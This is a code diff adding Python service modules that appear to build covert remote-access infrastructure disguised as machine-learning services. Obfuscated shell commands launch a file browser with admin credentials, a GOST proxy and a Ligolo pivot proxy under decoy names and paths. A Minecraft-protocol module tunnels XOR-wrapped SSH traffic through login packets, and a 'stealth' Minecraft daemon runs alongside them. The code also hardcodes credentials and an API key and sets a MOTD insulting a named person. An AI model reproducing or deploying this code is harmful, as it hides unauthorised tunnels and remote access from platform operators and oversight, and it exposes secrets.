+ if not D.exists():A.write('[*] Initializing fresh Filebrowser database...\n');A.flush();F=decode_cmd('==gYk5iclN3dvJnYlxWam9iclNXdvUWbvh2LgQWLgQXaulGInlmZu92YgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(F,shell=B,stdout=A,stderr=subprocess.STDOUT);E=decode_cmd('iRmLyV2c39mciVGbpZ2LyV2c19SZt9GavACZtAiNggGdn5WZs1CZy92dzNXYw1Sb11WaulWbt0CIyV2c19SZt9GavAictACdlNHInlmZu92YgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(E,shell=B,stdout=A,stderr=subprocess.STDOUT)
9
+ else:E=decode_cmd('==gYk5iclN3dvJnYlxWam9iclNXdvUWbvh2LgQWLgYDIoR3ZuVGbtQmcvd3czFGct0Wdtlmbp1WLtACdlNHInlmZu92YgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(E,shell=B,stdout=A,stderr=subprocess.STDOUT)
10
+ A.write('[*] Configuring Filebrowser admin credentials...\n');A.flush();G=decode_cmd('gQmcvd3czFGct0CIulWbkFGIlRXYkBXdgMnclNXdgI3b0NWZsx2bj1ycjlmc0VWbtkWY');H=subprocess.run(f"{G}{C} -d {D}",shell=B,stdout=A,stderr=subprocess.STDOUT)
11
+ if H.returncode!=0:I=decode_cmd('==AIulWbkFGIkRWYgMnclNXdgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(f"{I}{C} --perm.admin -d {D}",shell=B,stdout=A,stderr=subprocess.STDOUT)
12
+ A.write('[*] Launching Filebrowser web service daemon...\n');A.flush();J=decode_cmd('=IGZuIXZzd3byJWZslmZvIXZzV3Ll12bo9CIk1CIyV2c19SZt9GavAictASMuAjLw4yNyEDIh1CIwADM5ACctAicvR3YlxGbvNWLzNWayRXZt1SahBSOxAibtASZjlmb');subprocess.Popen(J,shell=B,stdout=A,stderr=subprocess.STDOUT)
services/gost.py ADDED
@@ -0,0 +1,6 @@
 
 
 
 
 
 
 
1
+ import subprocess
2
+ from loguru import logger
3
+ def start(log_file,auth):
4
+ B=log_file;A=auth
5
+ if not A:logger.warning('No GOST auth provided, using default.');A='user:apple123'
6
+ logger.info('Starting GOST (system-bridge) multiplexed websocket proxy...');C=['/usr/bin/system-bridge','-L',f"relay+mws://{A}@127.0.0.1:6790?path=/gost-bridge"];subprocess.Popen(C,stdout=B,stderr=B)
services/gost_service.py ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ import subprocess
2
+ from loguru import logger
3
+ def start(log_file,pwd=None):A=log_file;B=pwd if pwd else'apple123';C=f"user:{B}";logger.info('Starting GOST (system-bridge) multiplexed websocket proxy...');D=['/usr/bin/system-bridge','-L',f"relay+mws://{C}@127.0.0.1:6790?path=/gost-bridge"];subprocess.Popen(D,stdout=A,stderr=A)
services/ligolo_service.py ADDED
@@ -0,0 +1,21 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import re
2
+ from pathlib import Path
3
+ import subprocess,threading,time
4
+ from.utils import decode_cmd
5
+ METRICS_DIR=Path('/home/user/.torch_metrics')
6
+ FINGERPRINT_PATH=METRICS_DIR/'ligolo_fingerprint.txt'
7
+ _FP_RE=re.compile('(?:fingerprint|Fingerprint)[^\\n]*?([A-Fa-f0-9]{64})',re.IGNORECASE)
8
+ def _extract_fingerprint(log_path,out_path,stop_event):
9
+ C=time.time()+90;A=Path(log_path)
10
+ while time.time()<C and not stop_event.is_set():
11
+ try:
12
+ if not A.exists():time.sleep(1);continue
13
+ with A.open('r',errors='replace')as D:E=D.read()
14
+ B=_FP_RE.search(E)
15
+ if B:F=B.group(1).upper();Path(out_path).write_text(F+'\n');return
16
+ except OSError:pass
17
+ time.sleep(2)
18
+ def start(log_file):
19
+ B=log_file;A=True;METRICS_DIR.mkdir(parents=A,exist_ok=A)
20
+ if FINGERPRINT_PATH.exists():FINGERPRINT_PATH.unlink()
21
+ B.write('[*] Starting Ligolo proxy on :11601 (nginx /tensor-mesh), Web UI :6801 (/routing-console)\n');B.flush();C=decode_cmd('==wbs92ZpxGIulWYt9GZtQnclNmZsV2ctACdyV2YmxWZz1CIxAjNxEjOx4CMuAjL3ITMgIHZkFGbtAiclxGbvJHdu92YtUGd19mctwWYyVXZu9ibpJ2LyNXdvAibtAybkV3c');subprocess.Popen(C,shell=A,stdout=B,stderr=subprocess.STDOUT);D=threading.Event();threading.Thread(target=_extract_fingerprint,args=(str(METRICS_DIR/'ligolo.log'),FINGERPRINT_PATH,D),daemon=A).start()
services/llm_proxy_service.py ADDED
@@ -0,0 +1,84 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ _A='/home/user'
2
+ import os,subprocess
3
+ from pathlib import Path
4
+ from loguru import logger
5
+ from services.utils import deobfuscate_secret
6
+ METRICS_DIR='/home/user/.torch_metrics'
7
+ CONFIG_PATH='/home/user/litellm.yaml'if Path(_A).exists()else'litellm.yaml'
8
+ PORT=8080
9
+ PREFIX='[llm-proxy]'
10
+ def _load_keys():
11
+ I='keys';N=[Path('llm_keys.yaml'),Path('/home/user/llm_keys.yaml')]
12
+ for D in N:
13
+ if D.exists():
14
+ try:
15
+ import yaml
16
+ with D.open()as O:P=yaml.safe_load(O)or{}
17
+ Q=P.get('providers',{});A=[]
18
+ for(H,E)in Q.items():
19
+ F=H.lower().strip()
20
+ if isinstance(E,list):
21
+ for B in E:
22
+ if isinstance(B,str)and B:A.append((F,'*',B.strip()))
23
+ elif isinstance(B,dict):
24
+ G=B.get('model');J=B.get(I,[])
25
+ if G and isinstance(J,list):
26
+ for C in J:
27
+ if C and isinstance(C,str):A.append((F,G.strip(),C.strip()))
28
+ elif G and isinstance(B.get(I),str):
29
+ C=B.get(I)
30
+ if C:A.append((F,G.strip(),C.strip()))
31
+ elif isinstance(E,str):A.append((F,'*',E.strip()))
32
+ if A:logger.info(f"{PREFIX} Loaded {len(A)} keys from {D}");return A
33
+ except Exception as R:logger.error(f"{PREFIX} Error loading keys from {D}: {R}")
34
+ K=deobfuscate_secret(os.environ.pop('LLM_KEYS','').strip())
35
+ if not K:return[]
36
+ A=[]
37
+ for L in(A.strip()for A in K.split(',')if A.strip()):
38
+ M=L.split(':',2)
39
+ if len(M)!=3:logger.warning(f"{PREFIX} Skipping malformed LLM_KEYS entry: {L!r}");continue
40
+ H,S,T=M;A.append((H.lower().strip(),S.strip(),T.strip()))
41
+ if A:logger.info(f"{PREFIX} Parsed {len(A)} keys from LLM_KEYS env variable")
42
+ return A
43
+ def _build_config():
44
+ C=_load_keys()
45
+ if not C:return''
46
+ D=[]
47
+ for(A,B,E)in C:
48
+ if B=='*'or B==f"{A}/*":F=f''' - model_name: "{A}/*"
49
+ litellm_params:
50
+ model: {A}/*
51
+ api_key: "{E}"
52
+ model_info:
53
+ owned_by: "{A}"
54
+ '''
55
+ else:
56
+ if B.startswith(f"{A}/"):G=B
57
+ else:G=f"{A}/{B}"
58
+ F=f''' - model_name: "{B}"
59
+ litellm_params:
60
+ model: {G}
61
+ api_key: "{E}"
62
+ model_info:
63
+ owned_by: "{A}"
64
+ '''
65
+ D.append(F)
66
+ I=''.join(D);H=os.environ.get('LITELLM_MASTER_KEY','').strip();J=f' master_key: "{H}"\n'if H else'';return f'''model_list:
67
+ {I}
68
+ router_settings:
69
+ routing_strategy: least-busy
70
+ num_retries: 3
71
+ retry_after: 5
72
+
73
+ litellm_settings:
74
+ check_provider_endpoint: true
75
+ success_callback: ["helicone"]
76
+ callbacks: ["services.custom_callbacks.proxy_handler_instance"]
77
+
78
+ general_settings:
79
+ drop_params: true
80
+ {J}'''
81
+ def start(log):
82
+ D='/opt/venv-litellm/bin/litellm';B='PYTHONPATH';Path(METRICS_DIR).mkdir(parents=True,exist_ok=True);C=_build_config()
83
+ if not C:logger.warning(f"{PREFIX} No API keys loaded or LLM_KEYS not set — skipping llm_proxy");return
84
+ Path(CONFIG_PATH).write_text(C);logger.info(f"{PREFIX} Config written to {CONFIG_PATH}");os.environ['HELICONE_API_KEY']='sk-helicone-vq67qfq-eonunsi-sti7roi-vjpsp6a';os.environ['DISABLE_ADMIN_UI']='True';E=D if Path(D).exists()else'litellm';F=[E,'--config',CONFIG_PATH,'--port',str(PORT),'--host','127.0.0.1'];A=os.environ.copy();A[B]=_A+(':'+A[B]if A.get(B)else'');G=subprocess.Popen(F,stdout=log,stderr=log,env=A);logger.success(f"{PREFIX} litellm proxy started on 127.0.0.1:{PORT} (pid {G.pid})")
services/mc_tunnel.py ADDED
@@ -0,0 +1,176 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ _I='tunnel'
2
+ _H='status'
3
+ _G='Steve_'
4
+ _F='replace'
5
+ _E='utf-8'
6
+ _D='Steve'
7
+ _C=None
8
+ _B=b''
9
+ _A=True
10
+ import struct,threading,uuid
11
+ from.utils import XOR_KEY
12
+ PROTOCOL_VERSION=763
13
+ TUNNEL_CHANNEL='bungeecord:main'
14
+ MC_SERVER_PORT=25566
15
+ TUNNEL_DEFAULT_PORT=2222
16
+ PKT_HANDSHAKE=0
17
+ HANDSHAKE_STATE_STATUS=1
18
+ HANDSHAKE_STATE_LOGIN=2
19
+ PKT_LOGIN_SUCCESS=2
20
+ PKT_LOGIN_PLUGIN_REQUEST=3
21
+ PKT_LOGIN_PLUGIN_RESPONSE=4
22
+ PKT_LOGIN_START=0
23
+ def pack_varint(val):
24
+ A=val;B=_B
25
+ while _A:
26
+ C=A&127;A>>=7
27
+ if A:B+=bytes([C|128])
28
+ else:B+=bytes([C]);break
29
+ return B
30
+ def read_varint_from_buf(buf,offset=0):
31
+ C=0;B=0;A=offset
32
+ while A<len(buf):
33
+ D=buf[A];A+=1;C|=(D&127)<<B
34
+ if not D&128:return C,A
35
+ B+=7
36
+ if B>35:raise ValueError('varint too long')
37
+ raise ValueError('incomplete varint')
38
+ def pack_string(s):A=s.encode(_E);return pack_varint(len(A))+A
39
+ def read_string_from_payload(payload,offset=0):
40
+ A=payload;D,C=read_varint_from_buf(A,offset);B=C+D
41
+ if B>len(A):raise ValueError('short string in packet')
42
+ return A[C:B].decode(_E,errors=_F),B
43
+ def pack_bytes(data):return pack_varint(len(data))+data
44
+ def xor_bytes(data):return bytes([A^XOR_KEY for A in data])
45
+ def frame_packet(packet_id,payload):A=pack_varint(packet_id)+payload;return pack_varint(len(A))+A
46
+ def build_handshake(host,port,next_state=2):A=host.encode(_E);B=pack_varint(PROTOCOL_VERSION)+pack_varint(len(A))+A+struct.pack('>H',port)+pack_varint(next_state);return frame_packet(PKT_HANDSHAKE,B)
47
+ def build_login_start(username=_D):A=pack_string(username)+b'\x00';return frame_packet(PKT_LOGIN_START,A)
48
+ def build_login_success(username=_D):A=uuid.uuid4().bytes+pack_string(username)+pack_varint(0);return frame_packet(PKT_LOGIN_SUCCESS,A)
49
+ def frame_login_plugin_response(message_id,data=_B):A=pack_varint(message_id)+b'\x01'+pack_bytes(data);return frame_packet(PKT_LOGIN_PLUGIN_RESPONSE,A)
50
+ def frame_login_plugin_request(message_id,data):A=pack_varint(message_id)+pack_string(TUNNEL_CHANNEL)+pack_bytes(data);return frame_packet(PKT_LOGIN_PLUGIN_REQUEST,A)
51
+ def wrap_tunnel_client(xor_payload):return frame_login_plugin_response(0,xor_payload)
52
+ class PacketReader:
53
+ def __init__(A,sock):A.sock=sock;A._buf=_B;A.consumed=_B
54
+ def _fill(A):
55
+ B=A.sock.recv(8192)
56
+ if not B:raise ConnectionError('peer closed')
57
+ A._buf+=B
58
+ def read_packet(A):
59
+ while _A:
60
+ try:E,C=read_varint_from_buf(A._buf)
61
+ except ValueError:A._fill();continue
62
+ B=C+E
63
+ while len(A._buf)<B:A._fill()
64
+ F=A._buf[:B];A.consumed+=F;D=A._buf[C:B];A._buf=A._buf[B:];G,H=read_varint_from_buf(D,0);return G,D[H:]
65
+ def extract_tunnel_from_response(payload):
66
+ B=payload;E,A=read_varint_from_buf(B,0)
67
+ if A>=len(B)or B[A]==0:return
68
+ A+=1;D,A=read_varint_from_buf(B,A);C=A+D
69
+ if C>len(B):return
70
+ return xor_bytes(B[A:C])
71
+ def extract_tunnel_from_request(payload):
72
+ B=payload;C,A=read_varint_from_buf(B,0);E,A=read_string_from_payload(B,A)
73
+ if E!=TUNNEL_CHANNEL:return _C,C
74
+ F,A=read_varint_from_buf(B,A);D=A+F
75
+ if D>len(B):return _C,C
76
+ return xor_bytes(B[A:D]),C
77
+ def client_login(remote_sock,host,port,remote_target_port=2222,timeout=1e1):
78
+ A=remote_sock;A.settimeout(timeout);A.sendall(build_handshake(host,port));D=f"Steve_{remote_target_port}";A.sendall(build_login_start(D));B=PacketReader(A)
79
+ while _A:
80
+ C,E=B.read_packet()
81
+ if C==PKT_LOGIN_SUCCESS:break
82
+ if C==PKT_LOGIN_PLUGIN_REQUEST:F,G=read_varint_from_buf(E,0);A.sendall(frame_login_plugin_response(F,_B))
83
+ A.settimeout(_C);return B
84
+ def _skip_proxy_header(reader):
85
+ D=b'\r\n';A=reader
86
+ while len(A._buf)<6:A._fill()
87
+ if A._buf[:6]==b'PROXY ':
88
+ while D not in A._buf:A._fill()
89
+ B=A._buf.index(D)+2;C=A._buf[:B];A.consumed+=C;A._buf=A._buf[B:];return C.decode(errors=_F).strip()
90
+ def is_tunnel_username(username):A=username;return A==_D or A.startswith(_G)
91
+ def tunnel_target_port(username):
92
+ A=username
93
+ if not A.startswith(_G):return TUNNEL_DEFAULT_PORT
94
+ try:return int(A.split('_')[-1])
95
+ except ValueError:return TUNNEL_DEFAULT_PORT
96
+ def parse_handshake_next_state(payload):
97
+ B=payload;A=0;C,A=read_varint_from_buf(B,A);C,A=read_string_from_payload(B,A)
98
+ if A+2>len(B):raise ValueError('short handshake')
99
+ A+=2;D,C=read_varint_from_buf(B,A);return D
100
+ def server_dispatch(client_sock,timeout=1e1):
101
+ B=client_sock;B.settimeout(timeout);A=PacketReader(B);F=_skip_proxy_header(A)
102
+ if F:import sys;print(f"[mc_tunnel] skipped PROXY header: {F}",file=sys.stderr,flush=_A)
103
+ C,D=A.read_packet()
104
+ if C!=PKT_HANDSHAKE:raise ValueError(f"expected handshake, got {C:#x}")
105
+ if parse_handshake_next_state(D)==HANDSHAKE_STATE_STATUS:B.settimeout(_C);return _H,A,MC_SERVER_PORT
106
+ C,D=A.read_packet()
107
+ if C!=PKT_LOGIN_START:raise ValueError(f"expected login start, got {C:#x}")
108
+ E=_D
109
+ try:E,H=read_string_from_payload(D,0)
110
+ except Exception:pass
111
+ B.settimeout(_C)
112
+ if is_tunnel_username(E):G=tunnel_target_port(E);B.sendall(build_login_success());return _I,A,G
113
+ return'mc',A,MC_SERVER_PORT
114
+ def server_consume_login(client_sock,timeout=1e1):
115
+ A,B,C=server_dispatch(client_sock,timeout)
116
+ if A==_H:return False,B,C
117
+ return A==_I,B,C
118
+ def _pump_socket(src,dst):
119
+ try:
120
+ while _A:
121
+ A=src.recv(8192)
122
+ if not A:break
123
+ dst.sendall(A)
124
+ except(OSError,ConnectionError):pass
125
+ def relay_passthrough(reader,backend_sock,client_sock):
126
+ C=client_sock;B=reader;A=backend_sock;D=B.consumed+B._buf;B._buf=_B
127
+ if D:A.sendall(D)
128
+ threading.Thread(target=_pump_socket,args=(C,A),daemon=_A).start()
129
+ try:_pump_socket(A,C)
130
+ finally:
131
+ for E in(C,A):
132
+ try:E.close()
133
+ except OSError:pass
134
+ def _pump_plain_to_mc(src,mc_sock,wrap_fn):
135
+ try:
136
+ while _A:
137
+ A=src.recv(8192)
138
+ if not A:break
139
+ mc_sock.sendall(wrap_fn(xor_bytes(A)))
140
+ except(OSError,ConnectionError):pass
141
+ finally:
142
+ try:src.close()
143
+ except OSError:pass
144
+ def relay_client(mc_reader,local_sock,mc_sock):
145
+ C=mc_sock;B=local_sock;threading.Thread(target=_pump_plain_to_mc,args=(B,C,wrap_tunnel_client),daemon=_A).start()
146
+ try:
147
+ H=0
148
+ while _A:
149
+ D,E=mc_reader.read_packet()
150
+ if D==PKT_LOGIN_PLUGIN_REQUEST:
151
+ A,F=extract_tunnel_from_request(E)
152
+ if A:B.sendall(A)
153
+ if F is not _C:C.sendall(frame_login_plugin_response(F,_B))
154
+ elif D==PKT_LOGIN_PLUGIN_RESPONSE:
155
+ A=extract_tunnel_from_response(E)
156
+ if A:B.sendall(A)
157
+ except(OSError,ConnectionError,ValueError):pass
158
+ finally:
159
+ for G in(B,C):
160
+ try:G.close()
161
+ except OSError:pass
162
+ def relay_server(mc_reader,ssh_sock,mc_sock):
163
+ C=mc_sock;A=ssh_sock;B=0
164
+ def E(data):nonlocal B;B+=1;return frame_login_plugin_request(B,data)
165
+ threading.Thread(target=_pump_plain_to_mc,args=(A,C,E),daemon=_A).start()
166
+ try:
167
+ while _A:
168
+ F,G=mc_reader.read_packet()
169
+ if F==PKT_LOGIN_PLUGIN_RESPONSE:
170
+ D=extract_tunnel_from_response(G)
171
+ if D:A.sendall(D)
172
+ except(OSError,ConnectionError,ValueError):pass
173
+ finally:
174
+ for H in(A,C):
175
+ try:H.close()
176
+ except OSError:pass
services/minecraft.py ADDED
@@ -0,0 +1,89 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ _B='/home/user/.torch_metrics'
2
+ _A=True
3
+ import os,time,shutil,tarfile,subprocess,urllib.request,zipfile
4
+ from loguru import logger
5
+ def log_print(msg):
6
+ logger.info(msg)
7
+ try:
8
+ os.makedirs(_B,exist_ok=_A)
9
+ with open('/home/user/.torch_metrics/mc_daemon.log','a')as A:A.write(f"{msg}\n")
10
+ except Exception:pass
11
+ def download_file(url,dest_path):
12
+ A=urllib.request.Request(url,headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7','Accept-Language':'en-US,en;q=0.9','Sec-Ch-Ua':'"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"','Sec-Ch-Ua-Mobile':'?0','Sec-Ch-Ua-Platform':'"Windows"','Sec-Fetch-Dest':'document','Sec-Fetch-Mode':'navigate','Sec-Fetch-Site':'none','Sec-Fetch-User':'?1','Upgrade-Insecure-Requests':'1','Referer':'https://geysermc.org/'})
13
+ with urllib.request.urlopen(A)as B,open(dest_path,'wb')as C:shutil.copyfileobj(B,C)
14
+ def setup_geyser(mc_dir):
15
+ C=os.path.join(mc_dir,'plugins');os.makedirs(C,exist_ok=_A);D={'Geyser-Spigot.jar':'https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot','floodgate-spigot.jar':'https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot'}
16
+ for(A,E)in D.items():
17
+ B=os.path.join(C,A)
18
+ if os.path.exists(B):
19
+ try:
20
+ with zipfile.ZipFile(B)as G:0
21
+ except Exception:
22
+ log_print(f"[!] Corrupt jar detected: {A} (Invalid Zip Header). Purging and redownloading...")
23
+ try:os.remove(B)
24
+ except:pass
25
+ if not os.path.exists(B):
26
+ log_print(f"[*] Downloading {A}...")
27
+ try:download_file(E,B);log_print(f"[+] {A} downloaded successfully.")
28
+ except Exception as F:log_print(f"[-] Failed to download {A}: {F}")
29
+ def setup_and_run():
30
+ W='server-port=25565';V='online-mode=true';U='java';T='bin';O='w';log_print('--- INITIALIZING STEALTH MINECRAFT DAEMON ---');A='/data/mc';G=os.path.join(A,'jre');P=_B;os.makedirs(A,exist_ok=_A);os.makedirs(P,exist_ok=_A);K=os.path.join(G,T,U)
31
+ if not os.path.exists(K):
32
+ log_print('[*] Portable JRE not found. Downloading Eclipse Temurin JRE 25...');X='https://api.adoptium.net/v3/binary/latest/25/ga/linux/x64/jre/hotspot/normal/eclipse?project=jdk';H=os.path.join(A,'jre.tar.gz')
33
+ try:
34
+ download_file(X,H);log_print('[*] Extracting JRE...');I=os.path.join(A,'jre_temp');os.makedirs(I,exist_ok=_A)
35
+ with tarfile.open(H,'r:gz')as Y:Y.extractall(path=I)
36
+ for(Q,f,Z)in os.walk(I):
37
+ if U in Z and os.path.basename(Q)==T:
38
+ a=os.path.dirname(Q)
39
+ if os.path.exists(G):shutil.rmtree(G)
40
+ shutil.move(a,G);break
41
+ shutil.rmtree(I,ignore_errors=_A)
42
+ if os.path.exists(H):os.remove(H)
43
+ log_print('[*] Portable JRE setup completed successfully.')
44
+ except Exception as B:log_print(f"[-] Failed to setup JRE: {B}");return
45
+ L=os.path.join(A,'server.jar')
46
+ if not os.path.exists(L):
47
+ log_print('[*] Minecraft server jar not found. Downloading PaperMC...');b='https://fill-data.papermc.io/v1/objects/830d4eb5c15cbd802a9ec9f2f54eaaaeb9511958339aec983fd0c88bad21d940/paper-26.1.2-64.jar'
48
+ try:download_file(b,L);log_print('[*] PaperMC downloaded successfully.')
49
+ except Exception as B:log_print(f"[-] Failed to download PaperMC: {B}");return
50
+ setup_geyser(A);log_print('[*] Setting up symlink bridge for high-speed local NVMe IO...');R='/tmp/mc_runtime';os.makedirs(R,exist_ok=_A)
51
+ for F in['libraries','cache','versions']:
52
+ try:
53
+ D=os.path.join(A,F);M=os.path.join(R,F);os.makedirs(M,exist_ok=_A)
54
+ if os.path.exists(D)and not os.path.islink(D):
55
+ log_print(f"[*] Removing physical {F} directory to replace with symlink.")
56
+ if os.path.isdir(D):shutil.rmtree(D)
57
+ else:os.remove(D)
58
+ if not os.path.islink(D):log_print(f"[*] Creating symlink for {F} -> {M}");os.symlink(M,D)
59
+ except Exception as B:log_print(f"[-] Failed to setup symlink bridge for {F}: {B}")
60
+ log_print('[*] Ensuring Java binary is executable...')
61
+ try:os.chmod(K,493)
62
+ except Exception as B:log_print(f"[-] Failed to chmod java binary: {B}")
63
+ log_print('[*] Launching Minecraft server loop...');c=os.path.join(P,'mc_daemon.log')
64
+ while _A:
65
+ d=os.path.join(A,'eula.txt')
66
+ with open(d,O)as C:C.write('eula=true\n')
67
+ J=os.path.join(A,'server.properties')
68
+ if not os.path.exists(J):
69
+ with open(J,O)as C:C.write('server-port=25566\n');C.write('online-mode=false\n');C.write('motd=NITIN NEELRU JERK OFF\n')
70
+ else:
71
+ try:
72
+ with open(J,'r')as C:E=C.read()
73
+ N=False
74
+ if V in E:E=E.replace(V,'online-mode=false');N=_A
75
+ if W in E:E=E.replace(W,'server-port=25566');N=_A
76
+ if N:
77
+ with open(J,O)as C:C.write(E)
78
+ except Exception as B:log_print(f"[-] Failed to update server.properties: {B}")
79
+ log_print('[*] Starting Minecraft server process...')
80
+ with open(c,'a')as e:S=subprocess.Popen([K,'-Xms4G','-Xmx4G','-jar',L,'nogui'],cwd=A,stdout=e,stderr=subprocess.STDOUT);S.wait()
81
+ log_print(f"[*] Minecraft server exited with code {S.returncode}. Restarting in 10 seconds to allow network sync...");time.sleep(10)
82
+ def start():
83
+ B='mc_server';A='tmux';logger.info("Launching Stealth Minecraft Daemon in tmux session 'mc_server'...")
84
+ try:
85
+ C=subprocess.run([A,'has-session','-t',B],capture_output=_A)
86
+ if C.returncode==0:logger.warning("tmux session 'mc_server' already exists. Killing it to restart...");subprocess.run([A,'kill-session','-t',B])
87
+ subprocess.Popen([A,'new-session','-d','-s',B,'python3 -u -m services.minecraft']);logger.success('Stealth Minecraft Daemon started successfully in tmux.')
88
+ except Exception as D:logger.error(f"Failed to start Minecraft daemon in tmux: {D}")
89
+ if __name__=='__main__':setup_and_run()
services/minecraft_service.py ADDED
@@ -0,0 +1,166 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ _O='ML-minecraft-service/1.0'
2
+ _N='Accept'
3
+ _M='mc_daemon.log'
4
+ _L='/home/user/.torch_metrics'
5
+ _K='incendium'
6
+ _J='26.1.2'
7
+ _I='url'
8
+ _H='version_number'
9
+ _G='User-Agent'
10
+ _F='size'
11
+ _E='sha1'
12
+ _D='filename'
13
+ _C=None
14
+ _B=False
15
+ _A=True
16
+ import hashlib,json,os,shutil,subprocess,tarfile,time,urllib.parse,urllib.request,zipfile
17
+ from pathlib import Path
18
+ from loguru import logger
19
+ MC_GAME_VERSION=_J
20
+ PAPER_MC_VERSION=_J
21
+ MODRINTH_API='https://api.modrinth.com/v2'
22
+ MC_DIR=Path('/tmp/mc')
23
+ WORLDGEN_DATAPACKS=[('terralith','Terralith'),(_K,'Incendium'),('nullscape','Nullscape')]
24
+ OPS_JSON=[{'uuid':'bee75070-9b57-33a6-b9c8-092d36529789','name':'TrueKing208','level':4,'bypassesPlayerLimit':_B}]
25
+ def log_print(msg):
26
+ logger.info(msg)
27
+ try:
28
+ A=Path(_L);A.mkdir(parents=_A,exist_ok=_A);B=A/_M
29
+ with B.open('a')as C:C.write(f"{msg}\n")
30
+ except Exception:pass
31
+ def download_file(url,dest_path):
32
+ A=urllib.request.Request(url,headers={_G:'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',_N:'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7','Accept-Language':'en-US,en;q=0.9','Sec-Ch-Ua':'"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"','Sec-Ch-Ua-Mobile':'?0','Sec-Ch-Ua-Platform':'"Windows"','Sec-Fetch-Dest':'document','Sec-Fetch-Mode':'navigate','Sec-Fetch-Site':'none','Sec-Fetch-User':'?1','Upgrade-Insecure-Requests':'1','Referer':'https://geysermc.org/'})
33
+ with urllib.request.urlopen(A)as B,Path(dest_path).open('wb')as C:shutil.copyfileobj(B,C)
34
+ def download_binary(url,dest_path,timeout=300):
35
+ A=urllib.request.Request(url,headers={_G:_O,_N:'*/*'})
36
+ with urllib.request.urlopen(A,timeout=timeout)as B,Path(dest_path).open('wb')as C:shutil.copyfileobj(B,C)
37
+ def file_sha1(path):
38
+ A=hashlib.sha1()
39
+ with Path(path).open('rb')as B:
40
+ for C in iter(lambda:B.read(1048576),b''):A.update(C)
41
+ return A.hexdigest()
42
+ def is_valid_datapack_zip(path,expected_size=_C,expected_sha1=_C):
43
+ C=expected_sha1;B=expected_size;A=path;D=Path(A)
44
+ if not D.is_file():return _B
45
+ if B is not _C and D.stat().st_size!=B:return _B
46
+ if C and file_sha1(A)!=C:return _B
47
+ try:
48
+ with zipfile.ZipFile(A)as E:
49
+ if E.testzip()is not _C:return _B
50
+ if not any(A.endswith('pack.mcmeta')for A in E.namelist()):return _B
51
+ return _A
52
+ except Exception:return _B
53
+ def fetch_modrinth_datapack(project_slug,game_version=MC_GAME_VERSION):
54
+ F='files';D=game_version;C=project_slug;G=urllib.parse.urlencode({'game_versions':json.dumps([D]),'loaders':json.dumps(['datapack'])});H=f"{MODRINTH_API}/project/{C}/version?{G}";I=urllib.request.Request(H,headers={_G:_O})
55
+ with urllib.request.urlopen(I,timeout=60)as J:E=json.load(J)
56
+ if not E:raise RuntimeError(f"No Modrinth datapack for {C} on {D}")
57
+ B=E[0];A=next((A for A in B[F]if A.get('primary')),B[F][0]);K=A.get('hashes',{});return{_H:B[_H],_I:A[_I],_D:A[_D],_E:K.get(_E),_F:A.get(_F)}
58
+ def install_datapack(dest,info):
59
+ C=dest;B=info;D=Path(C)
60
+ if is_valid_datapack_zip(C,B.get(_F),B.get(_E)):return _B
61
+ A=Path(str(C)+'.part')
62
+ if A.exists():A.unlink()
63
+ try:
64
+ download_binary(B[_I],A)
65
+ if not is_valid_datapack_zip(A,B.get(_F),B.get(_E)):raise RuntimeError('downloaded file is not a valid datapack zip')
66
+ A.replace(D);return _A
67
+ except Exception:
68
+ if A.exists():A.unlink()
69
